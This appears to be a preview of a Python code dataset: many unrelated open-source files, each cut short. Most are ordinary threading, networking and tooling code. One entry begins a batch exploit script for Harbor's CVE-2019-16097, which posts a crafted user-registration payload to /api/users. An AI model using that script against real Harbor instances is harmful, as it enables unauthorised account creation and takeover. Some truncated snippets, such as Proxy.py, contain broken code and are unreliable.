source
stringlengths
3
86
python
stringlengths
75
1.04M
test.py
#!/usr/bin/env python # # Copyright 2008 the V8 project authors. All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # noti...
test_web_api.py
import unittest from multiprocessing import Process import os from web_api import * from .helpers.input_file_helpers import * from stix_shifter.stix_translation.src.modules.splunk import stix_to_splunk default_timerange_spl = '-' + str(stix_to_splunk.DEFAULT_TIMERANGE) + 'minutes' class TestRunFlask(unittest.TestCas...
handlers.py
# Copyright 2001-2016 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permissio...
util.py
import functools import logging import random import threading import time import paramiko log = logging.getLogger(__name__) def download_file_to_host(url, host, username, password, dest_path): ssh = _connect_to_host(host, username, password) ssh.exec_command(f"wget -O {dest_path} {url}", get_pty=True) de...
test_io.py
from __future__ import division, absolute_import, print_function import sys import gzip import os import threading import time import warnings import io import re import pytest from tempfile import NamedTemporaryFile from io import BytesIO, StringIO from datetime import datetime import locale import numpy as np impor...
mqtt.py
"""Support for MQTT input/output.""" import json import socket import threading import time from collections import defaultdict from queue import Queue from typing import Any, Dict, List, Optional import pydash from rhasspy.actor import RhasspyActor # -----------------------------------------------------------------...
ua_client.py
""" Low level binary client """ import logging import socket import errno from threading import Thread, Lock from concurrent.futures import Future, CancelledError from functools import partial from opcua import ua from opcua.ua.ua_binary import struct_from_binary, uatcp_to_binary, struct_to_binary, nodeid_from_binary...
SocketClient_multithread00.py
#!/usr/bin/env python #-*- coding:utf-8 -*- from threading import Thread from socket import * import threading def client(server_ip,port): c=socket(AF_INET,SOCK_STREAM) #套接字对象一定要加到函数内,即局部名称空间内,放在函数外则被所有线程共享,则大家公用一个套接字对象,那么客户端端口永远一样了 c.connect((server_ip,port)) count=0 while True: c.send(('%s ...
make_freq_lexicons.py
import time import random from socialsent3 import constants from socialsent3 import seeds from socialsent3 import util from socialsent3 import polarity_induction_methods from socialsent3.historical import vocab from multiprocessing import Queue, Process from multiprocessing.queues import Empty from socialsent3.represe...
wallet.py
# Electrum - lightweight Bitcoin client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights t...
test_builder.py
import importlib import os import tempfile import types from multiprocessing import Process from pathlib import Path from unittest import TestCase from unittest.mock import patch import numpy as np import pytest from multiprocess.pool import Pool from datasets.arrow_dataset import Dataset from datasets.arrow_writer i...
sdklist.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # Copyright © 2018 Dell Inc. or its subsidiaries. All rights reserved. # Dell, EMC, and other trademarks are trademarks of Dell Inc. or its subsidiaries. # Other trademarks may be trademarks of their respective owners. # # Licensed under the Apache License, Ver...
ffmpegmux.py
import os import random import threading import subprocess import sys from streamlink import StreamError from streamlink.stream import Stream from streamlink.stream.stream import StreamIO from streamlink.utils import NamedPipe from streamlink.compat import devnull, which class MuxedStream(Stream): __shortname_...
download_from_google_storage.py
#!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Download files from Google Storage based on SHA1 sums.""" import hashlib import optparse import os import Queue import re impo...
mput_threads.py
""" Indigo Command Line Interface -- multiple put. Copyright 2015 Archive Analytics Solutions Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless re...
linkcheck.py
""" sphinx.builders.linkcheck ~~~~~~~~~~~~~~~~~~~~~~~~~ The CheckExternalLinksBuilder class. :copyright: Copyright 2007-2018 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import queue import re import socket import threading from html.parser import HTMLParser from o...
utils.py
try: from Crypto import Random from Crypto.Cipher import AES except: from Cryptodome import Random from Cryptodome.Cipher import AES from colorama import init, Fore, Back, Style from datetime import datetime from selenium.webdriver import Chrome, ChromeOptions from selenium.webdriver.common.desired_capa...
manager.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import vim import sys import time import operator import itertools import threading import multiprocessing from functools import partial from functools import wraps from .instance import LfInstance from .cli import LfCli from .utils import * from .fuzzyMatch import FuzzyMa...
simple_hdlc.py
#!/usr/bin/python # coding: utf8 __version__ = '0.2' import logging import struct import time from threading import Thread from PyCRC.CRCCCITT import CRCCCITT logger = logging.getLogger(__name__) def calcCRC(data): crc = CRCCCITT("FFFF").calculate(bytes(data)) b = bytearray(struct.pack(">H", crc)) ret...
engine.py
# coding:utf-8 import os import signal import logging import threading import subprocess import time import errno import psutil from captain_comeback.restart.messages import (RestartRequestedMessage, RestartCompleteMessage) from captain_comeback.activity.messages import ...
fusions_laser_manager.py
# =============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licens...
iCopy.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- import os, sys, logging from telegram import Bot from telegram.utils.request import Request as TGRequest from utils import load from telegram.ext import ( Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler, ConversationHandler, ) fr...
frame.py
#!/usr/bin/env python3 """ The Faces Viewer Frame and Canvas for Faceswap's Manual Tool. """ import colorsys import logging import platform import tkinter as tk from tkinter import ttk from math import floor, ceil from threading import Thread, Event import numpy as np from lib.gui.custom_widgets import RightClickMenu...
exercise_5.py
def exercise_5(inputs): # DO NOT CHANGE THIS LINE import sys import time import socket import threading import random host = "127.0.0.1" port = 10001 class Client: def send_msg(self, sckt): while True: sckt.send(bytes(input(""), 'utf-8')) de...
__init__.py
import re import argparse __all__ = ["GlasgowAppletError", "GlasgowApplet", "GlasgowAppletTool"] class GlasgowAppletError(Exception): """An exception raised when an applet encounters an error.""" class GlasgowApplet: all_applets = {} def __init_subclass__(cls, name, **kwargs): super().__init_...
test_client.py
import socket import asyncore import threading import json def callback(data): print(data) class TestClient(asyncore.dispatcher_with_send): def __init__(self, host, port): asyncore.dispatcher.__init__(self) self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.connect((host, po...
xla_client_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
pyPLCn.py
import requests import json import time import threading import logging import urllib3 import os import binascii urllib3.disable_warnings() logging.basicConfig(level=logging.INFO) class pyPLCn(object): def __init__(self): self._run_flag = False self.s = requests.Session() self._poll_time...
control.py
# Modified by Microsoft Corporation. # Licensed under the MIT license. # The control module # Creates and runs control loops at levels: Experiment, Trial, Session from copy import deepcopy import pydash as ps import torch.multiprocessing as mp from convlab import agent as agent_module from convlab.agent import Body ...
test_snmp.py
import unittest import os import threading import multiprocessing import platform from datetime import timedelta from snimpy import basictypes, snmp, mib import agent class TestSnmpRetriesTimeout(unittest.TestCase): """Live modification of retry and timeout values for a session""" def setUp(self): s...
fn_api_runner.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
t-rex_ver2.py
import pygame import led_display as led import threading from random import * pygame.init() Pixel = 30 win = pygame.display.set_mode((32*Pixel, 16*Pixel)) X = 3 * Pixel Y = 16 * Pixel - Pixel vel_x = 10 vel_y = 10 jump = False Eaten_Box = set() BLACK = (0, 0, 0) RED = (150, 0, 0) GREEN = (0, 50, 0)...
crawlDou.py
import queue import threading from twisted.internet import reactor, defer from dou import Dou from douSection import DouSection from readDouJLFile import readDouJLFile from loadingWheel import loadingWheel from loadingBar import loadingBar @defer.inlineCallbacks def crawlDou(runner, data, secao): # get sections ...
dispy.py
#!/usr/bin/python """ dispy: Distribute computations among CPUs/cores on a single machine or machines in cluster(s), grid, cloud etc. for parallel execution. See http://dispy.sourceforge.net or https://pgiri.github.com/dispy for details. """ import os import sys import time import socket import inspect import stat i...
cv.py
#!/usr/bin/env python """Cross validation""" import sys import os import logging import re import numpy as np import ast from multiprocessing import Process, Queue from dataset import DataSet from pysol import SOL class SearchSpace(object): """Search space of all parameters """ def __init__(self, params...
test_random.py
import warnings import numpy as np from numpy.testing import ( assert_, assert_raises, assert_equal, assert_warns, assert_no_warnings, assert_array_equal, assert_array_almost_equal, suppress_warnings ) from numpy import random import sys class TestSeed: def test_scalar(self): ...
dispatcher.py
import threading import logging import queue import time import Pyro4 class Job(object): def __init__(self, id, **kwargs): self.id = id self.kwargs = kwargs self.timestamps = {} self.result = None self.exception = None self.worker_name = None def time_it(self, which_time): self.timestamps[wh...
miniterm.py
#!/usr/bin/env python # # Very simple serial terminal # # This file is part of pySerial. https://github.com/pyserial/pyserial # (C)2002-2020 Chris Liechti <cliechti@gmx.net> # # SPDX-License-Identifier: BSD-3-Clause from __future__ import absolute_import import codecs import os import sys import threading import t...
server_v10.py
import socket import random from threading import Thread class ServerV10: def __init__(self, host="0.0.0.0", port=5002, message_size=1024): """初期化 Parameters ---------- host : str サーバーのIPアドレス。 規定値 "0.0.0.0" port : int サーバー側のポート番号。 規定値 5002 ...
simplequeue.py
import json import threading import time from anchore_engine.clients.services import http from anchore_engine.subsys import logger from anchore_engine.utils import get_threadbased_id from anchore_engine.clients.services.internal import InternalServiceClient class LeaseAcquisitionFailedError(Exception): pass cl...
SmartLight.py
#-*- coding: utf-8 -*- ''' @author: matsuyamanori@gmail.com ''' import urllib import time import json import threading from ws4py.client.threadedclient import WebSocketClient from tplight import KL130 class SmartLight(WebSocketClient): def __init__(self, url, lightIP): print('*** __init__') ...
integration.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
multi_echo_server.py
import socket from multiprocessing import Process # define global addresses and buffer size HOST = "" PORT = 8001 BUFFER_SIZE = 1024 def main(): # create socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: #QUESTION 3 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #bi...
mosaic.py
import sys import os from PIL import Image from multiprocessing import Process, Queue, cpu_count # Change these 3 config parameters to suit your needs... TILE_SIZE = 200 # height/width of mosaic tiles in pixels TILE_MATCH_RES = 5 # tile matching resolution (higher values give better fit but require more processing) ...
MQTTManager.py
import paho.mqtt.client as mqtt from threading import Thread import requests MQTT_SERVER = "m14.cloudmqtt.com" MQTT_PORT = 15466 MQTT_USERNAME = "watch-client" MQTT_PASSWORD = "raspberrymrt" MQTT_TOPICS = ["data", "prefs"] class MQTTManager(): def __init__(self): # Create MQTT client and assign callbacks ...
GUI.py
import socket import OSC import time from worker import * class GUI(object): def __init__(self): self.window_width = 640 self.window_height = 360 self.image_show = np.ones((self.window_height, self.window_width, 3), dtype='uint8') * 255 self.font_type = cv2.FONT_HERSHEY_SIMPLEX self.font_scal...
monitors.py
import logging import threading from .sleeper import Sleeper log = logging.getLogger(__name__) DEFAULT_MONITOR_THREAD_JOIN_TIMEOUT = 5 class Monitors: def _init_monitor_thread(self, name, target_name=None, target=None, start=False, config=None): self.monitor_join_sleep = getattr(config, "monitor_threa...
grpc_comm_manager.py
import logging import os import threading from concurrent import futures from typing import List import grpc from ..gRPC import grpc_comm_manager_pb2_grpc, grpc_comm_manager_pb2 lock = threading.Lock() from ...communication.base_com_manager import BaseCommunicationManager from ...communication.message import Messag...
predictor_worker (1).py
from predictor_local import PredictorLocal from arguments import opt from networking import SerializingContext, check_connection from utils import Tee, TicToc, AccumDict, Once import cv2 import numpy as np import zmq import msgpack import msgpack_numpy as m m.patch() import queue import multiprocessing as mp import t...
Proxy.py
import threading import requests import sys import os import time https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=RU global info global proxy def generateproxy(): global proxy global info print(Fore.YELLOW+"Genering Proxy Please wait be patient ..."+Style.RESET_ALL) url="https://raw.git...
tempiture.py
#!/usr/bin/python import time from datetime import datetime import threading from flask import Flask, Response, jsonify import requests import os import math import sys import busio import digitalio import board from collections import OrderedDict import json import graphyte # Adafruit Modules # MCP 3008 import ada...
chat_robot.py
# -*- coding:utf-8 -*- import threading # 多线程 import time import itchat # 主要库 import bytime import check_aria2 import film import tuling import weather import query_database itchat.auto_login(enableCmdQR=True,hotReload=True) # enableCmdQR=True,hotReload=True # find the traget account by name,if you want to notic...
detection_input.py
from __future__ import division from __future__ import print_function import cv2 import numpy as np import mxnet as mx from six.moves.queue import Queue from threading import Thread from operator_py.cython.bbox import bbox_overlaps_cython from operator_py.bbox_transform import nonlinear_transform as bbox_transform ...
multithreadCrawler.py
#Import lib to crawl HTML from selenium import webdriver import urllib2 import socket #to catch PhantomJS error import errno #to catch PhantomJS error #lib to analyze html from bs4 import BeautifulSoup as BS import re #matching algorithm from snapshotAnalyzer import Snapshot #lib for multi-threading from threading im...
reconnect_test.py
import os import sys import pytest import uvicorn import asyncio from fastapi import FastAPI from multiprocessing import Process, Value from fastapi_websocket_rpc import logger, RpcChannel from fastapi_websocket_rpc.rpc_channel import RpcChannelClosedException logger.logging_config.set_mode(logger.LoggingModes.UVICOR...
run_nvmf.py
#!/usr/bin/env python3 import os import re import sys import json import zipfile import threading import subprocess import itertools import configparser import time import uuid from collections import OrderedDict import paramiko import pandas as pd import rpc import rpc.client from common import * class Server: ...
minify.py
#!/usr/bin/env python from __future__ import unicode_literals import argparse import os import re from itertools import starmap import multiprocessing import pysrt import imageio import youtube_dl import chardet import nltk imageio.plugins.ffmpeg.download() nltk.download('punkt') from moviepy.editor import VideoFileCl...
websocket.py
import asyncio import json import logging import os from threading import ( Thread, ) import websockets from newchain_web3.exceptions import ( ValidationError, ) from newchain_web3.providers.base import ( JSONBaseProvider, ) RESTRICTED_WEBSOCKET_KWARGS = {'uri', 'loop'} DEFAULT_WEBSOCKET_TIMEOUT = 10 d...
imagesmake.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import tkinter as tk from tkinter import messagebox from tkinter.filedialog import askdirectory, askopenfilename import threading, time, re, os, requests, math from PIL import Image, ImageStat def thread_run(func): def wraper(*args, **kwargs): t = threading....
runtest.py
# coding: utf-8 from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from concurrent.futures import ThreadPoolExecutor import json import logging import os import random import re import setproctitle import shutil import socket import string im...
Loader.py
import sublime, time from threading import Thread class Loader: loading_message = "" show_loader = False def display_loader(): loading_position=0 loading_display=( "[= ]", "[ =]" ) starttime = time.time() delay_seconds = 0.5 while True: if Loader.show_loader: sublime.status_message( Loader.loadin...
cve-2019-16097-batch-py2.py
#!/usr/bin/env python # -*- coding:utf-8 -*- # author:rocky # datetime:2019-09-21 00:43 # software: PyCharm import requests import logging import threading __author__ = 'rocky' __date__ = '2019/9/21' def poc(url): bug_url = url + "/api/users" payload = '{"username":"test","email":"939555035@qq.com","realna...
VESC.py
from pyvesc.protocol.interface import encode_request, encode, decode from pyvesc.VESC.messages import * import time import threading from pprint import pprint import serial.tools.list_ports from serial.serialutil import * # because people may want to use this library for their own messaging, do not make this a requir...
common_restful.py
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
dnschef.py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # # DNSChef is a highly configurable DNS Proxy for Penetration Testers # and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/ # for the latest version and documentation. Please forward all issues and # concerns to iphelix [at] thesprawl.org. DNSCHEF_V...
test.py
from contextlib import contextmanager ## sudo -H pip install PyMySQL import pymysql.cursors import pytest import time import threading from helpers.cluster import ClickHouseCluster from helpers.client import QueryRuntimeException cluster = ClickHouseCluster(__file__) node1 = cluster.add_instance( "node1", ma...
evaluator.py
from threading import Thread from typing import List, Dict, Any import numpy as np import tensorflow as tf from scipy.stats import kendalltau, spearmanr from tqdm import tqdm from docqa.configurable import Configurable from docqa.data_processing.qa_training_data import ContextAndQuestion from docqa.data_processing.sp...
sensor.py
#!/usr/bin/env python """ Copyright (c) 2014-2021 Maltrail developers (https://github.com/stamparm/maltrail/) See the file 'LICENSE' for copying permission """ from __future__ import print_function # Requires: Python >= 2.6 import sys sys.dont_write_bytecode = True import cProfile import inspect import math impor...
fileManagement.py
# Copyright (C) 2013-2014 Reinhard Stampp # This file is part of fortrace - http://fortrace.fbi.h-da.de # See the file 'docs/LICENSE' for copying permission. # created by Stephan Maltan in 2021 try: import logging import sys import platform import threading import subprocess import inspect # f...
mpc.py
import os.path import re import time import threading import _thread from functools import wraps import win32con, win32api, win32gui, ctypes, ctypes.wintypes #@UnresolvedImport @UnusedImport from syncplay import constants from syncplay.messages import getMessage from syncplay.players.basePlayer import BasePlayer fr...
test_brozzling.py
#!/usr/bin/env python ''' test_brozzling.py - XXX explain Copyright (C) 2016-2017 Internet Archive Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 U...
test_tools.py
"""Unit tests for oauth2client.tools.""" import unittest from oauth2client import tools from six.moves.urllib import request import threading class TestClientRedirectServer(unittest.TestCase): """Test the ClientRedirectServer and ClientRedirectHandler classes.""" def test_ClientRedirectServer(self): ...
SegModel.py
# -*- encoding: utf-8 -*- import os import sys # import cv2 # from countOre import countOre, countInfo # from jpg2png8 import * # from keras import backend as K # from PyQt5 import QtWidgets import time # from model import * # from data import * # from loadVedio import * import threading from PyQt5 import QtCore from...
zmirror.py
#!/usr/bin/env python3 # coding=utf-8 import os import sys import re import copy import zlib import sched import queue import base64 import random import traceback import ipaddress import threading from fnmatch import fnmatch from time import time, sleep, process_time from html import escape as html_e...
helper.py
from git_remote_dropbox.constants import ( PROCESSES, CHUNK_SIZE, MAX_RETRIES, ) from git_remote_dropbox.util import ( readline, Level, stdout, stderr, Binder, Poison, ) import git_remote_dropbox.git as git import dropbox import multiprocessing try: # Importing synchronize is t...
plugin.py
### # Copyright (c) 2002-2004, Jeremiah Fincher # Copyright (c) 2008-2010, James McCoy # Copyright (c) 2014, Valentin Lorentz # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistribution...
http.py
""" homeassistant.components.http ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This module provides an API and a HTTP interface for debug purposes. For more details about the RESTful API, please refer to the documentation at https://home-assistant.io/developers/api/ """ from datetime import timedelta import gzip from http import coo...
server.py
import hmac import json import urllib.parse from .main import ( PullReqState, parse_commands, db_query, IGNORE_BLOCK_END, IGNORE_BLOCK_START, INTERRUPTED_BY_HOMU_RE, suppress_ignore_block, suppress_pings, synchronize, LabelEvent, ) from . import comments from . import utils from ...
_channel_test.py
# Copyright 2016, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the f...
process_replay.py
#!/usr/bin/env python3 import importlib import os import sys import threading import time import shutil import signal import uuid from collections import namedtuple import capnp import cereal.messaging as messaging from cereal import car, log from cereal.services import service_list from common.params import Params f...
category.py
import logging import os import traceback from pathlib import Path from threading import Thread from typing import Dict, List import requests from bauh.api.abstract.controller import SoftwareManager from bauh.api.http import HttpClient class CategoriesDownloader(Thread): def __init__(self, id_: str, http_clien...
test_bio_membuf.py
#!/usr/bin/env python """Unit tests for M2Crypto.BIO.MemoryBuffer. Copyright (c) 2000 Ng Pheng Siong. All rights reserved.""" import os import multiprocessing from M2Crypto.BIO import MemoryBuffer from . import unittest class TimeLimitExpired(Exception): pass def time_limit(timeout, func, exc_msg, *args, **...
__init__.py
from datetime import datetime from multiprocessing import Process from time import sleep from minibatch import connectdb, streaming, stream from minibatch.contrib.mongodb import MongoSource, MongoSink from minibatch.example.util import clean def consumer(): @streaming('test', size=1, keep=True) def myproces...
server.py
import socket import threading import Queue import mysql.connector import datetime class Parallelize(object): def __init__(self): self.thread_list = [] self.diction = { "id":None, "thread": None } # Creates new thread with specific id def NewThread(self,...
daemon.py
import logging import sys from time import sleep from piweatherstation.sensors.bme280 import BME280Sensor from piweatherstation.sensors.bh1750 import BH1750Sensor from piweatherstation.sensors.ds18B20 import DS18B20Sensor from piweatherstation.sensors.windvane import WindVaneSensor from piweatherstation.sensors.winds...
test_threading.py
# Very rudimentary test of threading module import test.support from test.support import verbose, is_jython import random import re import sys thread = test.support.import_module('thread') threading = test.support.import_module('threading') import time import unittest import weakref import os import subprocess from t...
graph.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache...
metrics_test.py
import logging import os import socket from http.server import BaseHTTPRequestHandler from http.server import HTTPServer from threading import Thread import requests from docker.transport import UnixHTTPAdapter from tests.acceptance.cli_test import dispatch from tests.integration.testcases import DockerClientTestCase...
main.py
#!/usr/bin/python3 import os, random from threading import Thread from time import sleep from termcolor import colored from playsound import playsound from config import * # Importing module specified in the config file art = __import__(f'arts.{artFile}', globals(), locals(), ['*']) def replaceMultiple(mainString...
Hiwin_RT605_ArmCommand_Socket_20190627174045.py
#!/usr/bin/env python3 # license removed for brevity import rospy import os import socket ##多執行序 import threading import time import sys import matplotlib as plot import HiwinRA605_socket_TCPcmd as TCP import HiwinRA605_socket_Taskcmd as Taskcmd import numpy as np from std_msgs.msg import String from ROS_Socket.srv imp...
parallel.py
# Copyright 2011 Sybren A. Stüvel <sybren@stuvel.eu> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
main.py
import client import threading import sys import os import platform import time import signal MAIN_MENU = 1 PLAYLIST_MENU = 2 class Main: def __init__(self): self.exit_app = False self.menu = MAIN_MENU self.client = None def start_client(self): self.client = client.Client(us...
test_api.py
""" mbed SDK Copyright (c) 2011-2014 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wr...
test_sync_count.py
#!env/bin/python """Tucker Sync test sync count module. The goal of this test module is to explore, document and prove the sync count and database state. By exercising the actual SQL statements, sequences and functions. This module is not intended to be run often or test the server function. Tests do not require a r...
_test_multiprocessing.py
# # Unit tests for the multiprocessing package # import unittest import queue as pyqueue import time import io import itertools import sys import os import gc import errno import signal import array import socket import random import logging import struct import operator import weakref import test.support import test....
test_integration.py
import os import signal import threading from subprocess import check_output, Popen from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs from unittest import TestCase import pytest from brotab.tests.utils import wait_net_service from brotab.mediator.brotab_mediator im...
testexit-threading.py
import threading, sys, time def action(): sys.exit() # or raise SystemExit() print('not reached') threading.Thread(target=action).start() time.sleep(2) print('Main exit')
remote.py
# # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # import copy import time import torch import torch.multiprocessing as mp from salina import Agent from salina.workspace import Workspace,...
pastebin-scrape.py
import BeautifulSoup import urllib2 import time import Queue import threading import sys import datetime import random import os from os import path as op pastesseen = set() pastes = Queue.Queue() def downloader(): while True: paste = pastes.get() fn = "pastebins/%s-%s.txt" % (paste, datetime.dat...
presto.py
# Copyright 2021 Raven Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...